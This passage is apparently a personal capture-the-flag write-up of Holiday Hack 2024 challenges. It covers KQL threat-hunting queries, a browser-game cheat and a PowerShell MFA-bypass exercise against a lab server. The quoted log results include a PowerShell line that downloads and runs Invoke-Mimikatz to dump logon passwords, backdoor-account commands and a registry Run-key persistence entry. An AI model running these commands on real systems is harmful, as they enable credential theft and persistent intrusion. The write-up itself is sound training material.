RESULTS:

hostname
WebApp-ElvesWorkshop

ANSWER: WebApp-ElvesWorkshop

Question 6

What was the script that was run to obtain credentials?

QUERY:

1
2
3
4
AuthenticationEvents
| join kind=inner ProcessEvents on hostname
| where src_ip == "182.56.23.122" and timestamp1 > timestamp
| project process_commandline

RESULTS:

process_commandline
net user frosty AllYourBaseBelongToUs /add
powershell.exe -Command "IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::logonpasswords"
net view /domain
net localgroup administrators frosty /add
ipconfig /all
tasklist | findstr /I "mcshield.exe"
tasklist | findstr /I "norton.exe"
tasklist | findstr /I "avp.exe"

ANSWER:
Looking at the commands executed after the authentication of 182.56.23.122 we can observe the command line powershell.exe -Command "IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::logonpasswords" that downloads Invoke-Mimikatz.ps1 and then execute it.
The answer is the script name Invoke-Mimikatz.ps1.

Question 7

What is the timestamp where Noel executed the file?

QUERY:

1
2
3
4
5
6
7
8
Email
| join kind=inner Employees on $left.recipient == $right.email_addr
| join kind=inner ProcessEvents on hostname
| extend filename = tostring(split(link, "/")[-1])
| where subject has "credentials" and process_commandline has filename
| project timestamp1, process_commandline
| sort by timestamp1 asc
| limit 1

RESULTS:

timestamp1 process_commandline
2024-12-12T15:14:38Z Explorer.exe "C:\Users\noboetie\Downloads\echo.exe"

ANSWER: 2024-12-12T15:14:38Z

Question 8

What domain was the holidaycandy.hta file downloaded from?

QUERY:

1
2
3
4
OutboundNetworkEvents
| where url has "holidaycandy.hta"
| extend domain = tostring(split(url,"/")[2])
| distinct domain

RESULTS:

domain
compromisedchristmastoys.com

ANSWER: compromisedchristmastoys.com

Question 9

what was the first file that was created after extraction?

QUERY:

1
2
3
4
5
6
ProcessEvents
| join kind=inner FileCreationEvents on hostname
| where process_commandline has "frosty.zip" and timestamp1 > timestamp
| sort by timestamp1 asc
| distinct filename
| limit 1

RESULTS:

filename
sqlwriter.exe

ANSWER: sqlwriter.exe

Question 10

What is the name of the property assigned to the new registry key?

QUERY:

1
2
3
4
ProcessEvents
| join kind=inner ProcessEvents on hostname
| where process_commandline has "frosty.txt" and timestamp1 > timestamp
| project process_commandline1

RESULTS:

process_commandline1
tar -xf C:\\Windows\\Tasks\\frosty.zip -C C:\\Windows\\Tasks\\
New-Item -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MS SQL Writer" -Force | New-ItemProperty -Name "frosty" -Value "C:\Windows\Tasks\sqlwriter.exe" -PropertyType String -Force

ANSWER: frosty

Question 11

To obtain your FINAL flag use the KQL below with your last answer!

QUERY:

1
print base64_encode_tostring("frosty");

RESULTS:

print_0
ZnJvc3R5

ANSWER: ZnJvc3R5

Snowball Showdown

Difficulty: ❄ ❄ ❄ ❄ ❄
Wombley has recruited many elves to his side for the great snowball fight we are about to wage. Please help us defeat him by hitting him with more snowballs than he does to us.

Silver trophy

singlePlayer=true

Remembering the Snowball Fight challenge from Holiday Hack 2023, I quickly found the singlePlayer = false parameter in the url and changed it to singlePlayer = true. That allowed to play solo against Wombley.

The lame solution

I forgot tha game open…and somehow when I noticed I already had the silver trophy… I guess my fellow snowballers did manage to beat Wombley :)

The actual solution

Trying to alter parameters in different parts of phaser-snowball-game.js I wasn’t able to immediately tweak anything relevant aside from setting this.throwRateOfFire = 1; so to shoot faster. I then started analyzing the websocket messages being exchanged and I eventually noticed the message related to throwing a snowball:

1
2
3
4
5
6
7
8
9
10
{
"type": "snowballp",
"x": 559,
"y": 915.7559204101562,
"owner": "d677f2bc-238b-41ef-9ffb-6c133d30c101",
"isWomb": false,
"blastRadius": 24,
"velocityX": 445.01496716671596,
"velocityY": -85.70936374799038
}

That blastRadius triggered my curiosity so I went ahed and ovverode it in phaser-snowball-game.js adding some 0s value using developer tools:

This trick basically destroyed the scenery, allowing to easily shoot Wombley while remaining in a safe zone and even behind the enemy lines:

Gold trophy

While trying to figure out how to achieve the gold trophy, someone dropped a MOASB on my game…and then I knew what I was after 😊

Looking for references to “moasb” I could find a function to send the message using ws:

1
this.moasb = () => { this.ws.sendMessage({ type: 'moasb' }) }

At that point I thought “why should I shoot snowball if I can shoot MOASB?” and I modified the phaser-snowball-game.js again:

Dropping a MOASB was a very interesting thing to do:

What is a MOASB anyway?

I actually didn’t ask myself but I was pleasantly surprised when I spoke to Dusty Giftwrap again and he told me the meaning of MOASB: it’s the ‘mother-of-all-snow-bombs’.

PowerShell

Difficulty: ❄ ❄ ❄ ❄ ❄
Team Wombley is developing snow weapons in preparation for conflict, but they’ve been locked out by their own defenses. Help Piney with regaining access to the weapon operations terminal.

Hints

PowerShell Admin Access - Total Control

From:
I overheard some of the other elves talking. Even though the endpoints have been redacted, they are still operational. This means that you can probably elevate your access by communicating with them. I suggest working out the hashing scheme to reproduce the redacted endpoints. Luckily one of them is still active and can be tested against. Try hashing the token with SHA256 and see if you can reliably reproduce the endpoint. This might help, pipe the tokens to Get-FileHash -Algorithm SHA256.

PowerShell Admin Access - Fakeout EDR Threshold

From:
They also mentioned this lazy elf who programmed the security settings in the weapons terminal. He created a fakeout protocol that he dubbed Elf Detection and Response “EDR”. The whole system is literally that you set a threshold and after that many attempts, the response is passed through… I can’t believe it. He supposedly implemented it wrong so the threshold cookie is highly likely shared between endpoints!

Silver trophy

    1. There is a file in the current directory called ‘welcome.txt’. Read the contents of this file
1
Get-Content ./welcome.txt
1
2
3
4
5
6
7
8
System Overview
The Elf Weaponry Multi-Factor Authentication (MFA) system safeguards access to a classified armory containing elf weapons. This high-security system is equipped with advanced defense mechanisms, including canaries, retinal scanner and keystroke analyzing, to prevent unauthorized access. In the event of suspicious activity, the system automatically initiates a lockdown, restricting all access until manual override by authorized personnel.

Lockdown Protocols
When the system enters lockdown mode, all access to the armory is frozen. This includes both entry to and interaction with the weaponry storage. The defense mechanisms become active, deploying logical barriers to prohibit unauthorized access. During this state, users cannot disable the system without the intervention of an authorized administrator. The system logs all access attempts and alerts central command when lockdown is triggered.

Access and System Restoration
To restore access to the system, users must follow strict procedures. First, authorized personnel must identify the scrambled endpoint. Next, they must deactivate the defense mechanisms by entering the override code and presenting the required token. After verification, the system will resume standard operation, and access to weaponry is reactivated.
    1. Geez that sounds ominous, I’m sure we can get past the defense mechanisms.
      We should warm up our PowerShell skills.
      How many words are there in the file?
1
Get-Content ./welcome.txt | Measure-Object -Word
1
2
3
Lines Words Characters Property
----- ----- ---------- --------
180
    1. There is a server listening for incoming connections on this machine, that must be the weapons terminal. What port is it listening on?
1
netstat -an
1
2
3
4
5
6
7
8
9
10
11
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:1225 0.0.0.0:* LISTEN
tcp6 0 0 172.17.0.6:42026 52.179.73.57:443 ESTABLISHED
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 228127385 /tmp/dotnet-diagnostic-632-34546516-socket
unix 2 [ ACC ] STREAM LISTENING 228126347 /tmp/CoreFxPipe_PSHost.DB3A6E3C.632.None.pwsh
unix 2 [ ACC ] STREAM LISTENING 228069183 /tmp/tmux-1050/default
unix 3 [ ] STREAM CONNECTED 228069344
unix 3 [ ] STREAM CONNECTED 228070105 /tmp/tmux-1050/default
    1. You should enumerate that webserver. Communicate with the server using HTTP, what status code do you get?
1
iwr http://localhost:1225
1
Invoke-WebRequest: Response status code does not indicate success: 401 (UNAUTHORIZED).
    1. It looks like defensive measures are in place, it is protected by basic authentication.
      Try authenticating with a standard admin username and password.
1
Invoke-WebRequest http://127.0.0.1:1225 -Credential (New-Object PSCredential("admin", (ConvertTo-SecureString "admin" -AsPlainText -Force))) -AllowUnencryptedAuthentication
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
                    ----------------------------------------------------
🪖 Elf MFA webserver🪖
⚔️ Grab your tokens for access to weaponry ⚔️
⚔️ Warning! Sensitive information on the server, protect a…
RawContent : HTTP/1.1 200 OK
Server: Werkzeug/3.0.6
Server: Python/3.10.12
Date: Tue, 19 Nov 2024 10:35:53 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 3475

<html>
<body>
<pre>
---…
Headers : {[Server, System.String[]], [Date, System.String[]], [Connection, System.S
tring[]], [Content-Type, System.String[]]…}
Images : {}
InputFields : {}
Links : {@{outerHTML=<a href="http://localhost:1225/endpoints/1">Endpoint 1</a>; t
agName=A; href=http://localhost:1225/endpoints/1}, @{outerHTML=<a href="ht
tp://localhost:1225/endpoints/2">Endpoint 2</a>; tagName=A; href=http://lo
calhost:1225/endpoints/2}, @{outerHTML=<a href="http://localhost:1225/endp
oints/3">Endpoint 3</a>; tagName=A; href=http://localhost:1225/endpoints/3
}, @{outerHTML=<a href="http://localhost:1225/endpoints/4">Endpoint 4</a>;
tagName=A; href=http://localhost:1225/endpoints/4}…}
RawContentLength : 3475
RelationLink : {}
    1. There are too many endpoints here.
      Use a loop to download the contents of each page. What page has 138 words?
      When you find it, communicate with the URL and print the contents to the terminal.
1
2
3
4
5
6
7
8
$creds = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString "admin" -AsPlainText -Force))
$links = (iwr http://127.0.0.1:1225 -Credential $creds -AllowUnencryptedAuthentication).Links.Href
foreach ($url in $links) {
$words = Invoke-WebRequest -Uri $url -Credential $creds -AllowUnencryptedAuthentication | Measure-Object –Word | select -expand Words
if ($words -eq 138) {
iwr $url -Credential $creds -AllowUnencryptedAuthentication | select -expand Content
}
}
1
<html><head><title>MFA token scrambler</title></head><body><p>Yuletide cheer fills the air,<br>    A season of love, of care.<br>    The world is bright, full of light,<br>    As we celebrate this special night.<br>    The tree is trimmed, the stockings hung,<br>    Carols are sung, bells are rung.<br>    Families gather, friends unite,<br>    In the glow of the fire’s light.<br>    The air is filled with joy and peace,<br>    As worries and cares find release.<br>    Yuletide cheer, a gift so dear,<br>    Brings warmth and love to all near.<br>    May we carry it in our hearts,<br>    As the season ends, as it starts.<br>    Yuletide cheer, a time to share,<br>    The love, the joy, the care.<br>    May it guide us through the year,<br>    In every laugh, in every tear.<br>    Yuletide cheer, a beacon bright,<br>    Guides us through the winter night </p><p> Note to self, remember to remove temp csvfile at http://127.0.0.1:1225/token_overview.csv</p></body></html>
    1. There seems to be a csv file in the comments of that page.
      That could be valuable, read the contents of that csv-file!
1
2
$creds = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString "admin" -AsPlainText -Force))
iwr http://127.0.0.1:1225/token_overview.csv -Credential $creds -AllowUnencryptedAuthentication | select -expand Content
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
010f2cc580f74521c86215b7374eead6,REDACTED
29860c67296d808bc6506175a8cbb422,REDACTED
7b7f6891b6b6ab46fe2e85651db8205f,REDACTED
45ffb41c4e458d08a8b08beeec2b4652,REDACTED
d0e6bfb6a4e6531a0c71225f0a3d908d,REDACTED
bd7efda0cb3c6d15dd896755003c635c,REDACTED
5be8911ced448dbb6f0bd5a24cc36935,REDACTED
1acbfea6a2dad66eb074b17459f8c5b6,REDACTED
0f262d0003bd696550744fd43cd5b520,REDACTED
8cac896f624576d825564bb30c7250eb,REDACTED
8ef6d2e12a58d7ec521a56f25e624b80,REDACTED
b4959370a4c484c10a1ecc53b1b56a7d,REDACTED
38bdd7748a70529e9beb04b95c09195d,REDACTED
8d4366f08c013f5c0c587b8508b48b15,REDACTED
67566692ca644ddf9c1344415972fba8,REDACTED
8fbf4152f89b7e309e89b9f7080c7230,REDACTED
936f4db24a290032c954073b3913f444,REDACTED
c44d8d6b03dcd4b6bf7cb53db4afdca6,REDACTED
cb722d0b55805cd6feffc22a9f68177d,REDACTED
724d494386f8ef9141da991926b14f9b,REDACTED
67c7aef0d5d3e97ad2488babd2f4c749,REDACTED
5f8dd236f862f4507835b0e418907ffc,4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C
# [*] SYSTEMLOG
# [*] Defence mechanisms activated, REDACTING endpoints, starting with sensitive endpoints
# [-] ERROR, memory corruption, not all endpoints have been REDACTED
# [*] Verification endpoint still active
# [*] http://127.0.0.1:1225/tokens/<sha256sum>
# [*] Contact system administrator to unlock panic mode
# [*] Site functionality at minimum to keep weapons active
    1. Luckily the defense mechanisms were faulty!
      There seems to be one api-endpoint that still isn’t redacted! Communicate with that endpoint!
1
2
$creds = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString "admin" -AsPlainText -Force))
iwr http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $creds -AllowUnencryptedAuthentication | select -Expand Content
1
<h1>[!] ERROR: Missing Cookie 'token'</h1>   
    1. It looks like it requires a cookie token, set the cookie and try again.
1
2
3
4
5
6
7
8
9
10
$creds = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString "admin" -AsPlainText -Force))

$cookie = New-Object System.Net.Cookie
$cookie.Name = "token"
$cookie.Value = "5f8dd236f862f4507835b0e418907ffc"
$cookie.Domain = "127.0.0.1"
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add($cookie)

iwr http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -Credential $creds -AllowUnencryptedAuthentication -WebSession $session | select -Expand Content
1
<h1>Cookie 'mfa_code', use it at <a href='1732013309.8054779'>/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C</a></h1>
    1. Sweet we got a MFA token! We might be able to get access to the system.
      Validate that token at the endpoint!
      This is the exact moment I had to use ChatGPT to write the code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$creds = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString "admin" -AsPlainText -Force))

$cookieContainer = New-Object System.Net.CookieContainer

$cookie = New-Object System.Net.Cookie
$cookie.Name = "token"
$cookie.Value = "5f8dd236f862f4507835b0e418907ffc"
$cookie.Domain = "127.0.0.1"
$cookieContainer.Add($cookie)

$response = Invoke-WebRequest -Uri http://127.0.0.1:1225/tokens/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C -WebSession (New-Object Microsoft.PowerShell.Commands.WebRequestSession -Property @{ Cookies = $cookieContainer }) -Credential $creds -AllowUnencryptedAuthentication
($response.Content -match "href='([^']+)'") | Out-Null
$mfaCode = $matches[1]

$mfaCookie = New-Object System.Net.Cookie
$mfaCookie.Name = "mfa_token"
$mfaCookie.Value = "$mfaCode"
$mfaCookie.Domain = "127.0.0.1"
$cookieContainer.Add($mfaCookie)

$validateUrl = "http://127.0.0.1:1225/mfa_validate/4216B4FAF4391EE4D3E0EC53A372B2F24876ED5D124FE08E227F84D687A7E06C"
Invoke-WebRequest -Uri $validateUrl -WebSession (New-Object Microsoft.PowerShell.Commands.WebRequestSession -Property @{ Cookies = $cookieContainer }) -Credential $creds -AllowUnencryptedAuthentication | select -Expand Content
1
<h1>[+] Success</h1><br><p>Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==</p>
    1. That looks like base64! Decode it so we can get the final secret!
1
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg=="))
1
Correct Token supplied, you are granted access to the snow cannon terminal. Here is your personal password for access: SnowLeopard2ReadyForAction
    1. Hurray! You have thwarted their defenses!
      Alabaster can now access their weaponry and put a stop to it.
      Once HHC grants your achievement, you can close this terminal.

Gold trophy

To obtain the gold trophy I followed the hints of PowerShell Admin Access - Total Control and I had to write a lot of code ending up in an unreasonably long powershell script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$creds = New-Object System.Management.Automation.PSCredential("admin", (ConvertTo-SecureString "admin" -AsPlainText -Force))
$cookieContainer = New-Object System.Net.CookieContainer

$response = iwr http://127.0.0.1:1225/token_overview.csv -Credential $creds -AllowUnencryptedAuthentication
$content_array = $response -split "\n"

$cookie = New-Object System.Net.Cookie
$cookie.Name = "token"
$cookie.Value = "5f8dd236f862f4507835b0e418907ffc"
$cookie.Domain = "127.0.0.1"
$cookieContainer.Add($cookie)

foreach ($line in $content_array) {
if (-Not $line.StartsWith("#") -and -Not $line.startsWith("file_MD5hash")) {
$line = ($line -Split ",")[0]
$token_cookie = New-Object System.Net.Cookie
$token_cookie.Name = "token"
$token_cookie.Value = $line
$token_cookie.Domain = "127.0.0.1"
$cookieContainer.Add($token_cookie)
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession -Property @{ Cookies = $cookieContainer }

$string = "$line`n"
$bytes = [System.Text.Encoding]::UTF8.GetBytes($string)
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$hashBytes = $sha256.ComputeHash($bytes)
$hashString = -join ($hashBytes | ForEach-Object { $_.ToString("x2") })

$response = Invoke-WebRequest -Uri http://127.0.0.1:1225/tokens/$hashString -Credential $creds -AllowUnencryptedAuthentication -WebSession $session
($response.Content -match "href='([^']+)'") | Out-Null
$mfaCode = $matches[1]

$mfaCookie = New-Object System.Net.Cookie
$mfaCookie.Name = "mfa_token"
$mfaCookie.Value = "$mfaCode"
$mfaCookie.Domain = "127.0.0.1"

$cookieContainer.Add($mfaCookie)

$validateUrl = "http://127.0.0.1:1225/mfa_validate/$hashString"
$response = Invoke-WebRequest -Uri $validateUrl -WebSession $session -Credential $creds -AllowUnencryptedAuthentication
if (-Not $response.Content.Contains("ERROR")) {
echo "$response"
}
}
}
1
2
3
4
<h1>[*] Setting cookie attempts</h1>                                                           
<h1>[+] Success, defense mechanisms deactivated.</h1><br>Administrator Token supplied, You are able to control the production and deployment of the snow cannons. May the best elves win: WombleysProductionLineShallPrevail</p>
<h1>[+] Success</h1><br><p>Q29ycmVjdCBUb2tlbiBzdXBwbGllZCwgeW91IGFyZSBncmFudGVkIGFjY2VzcyB0byB0aGUgc25vdyBjYW5ub24gdGVybWluYWwuIEhlcmUgaXMgeW91ciBwZXJzb25hbCBwYXNzd29yZCBmb3IgYWNjZXNzOiBTbm93TGVvcGFyZDJSZWFkeUZvckFjdGlvbg==</p>
<h1>[!] System currently in lock down</h1><br><h1>[!] Failure, token has expired. [*] Default timeout set to 2s for security reasons</h1>

Just don’t

I will not even discuss how painful it has been to write the code for this challenge.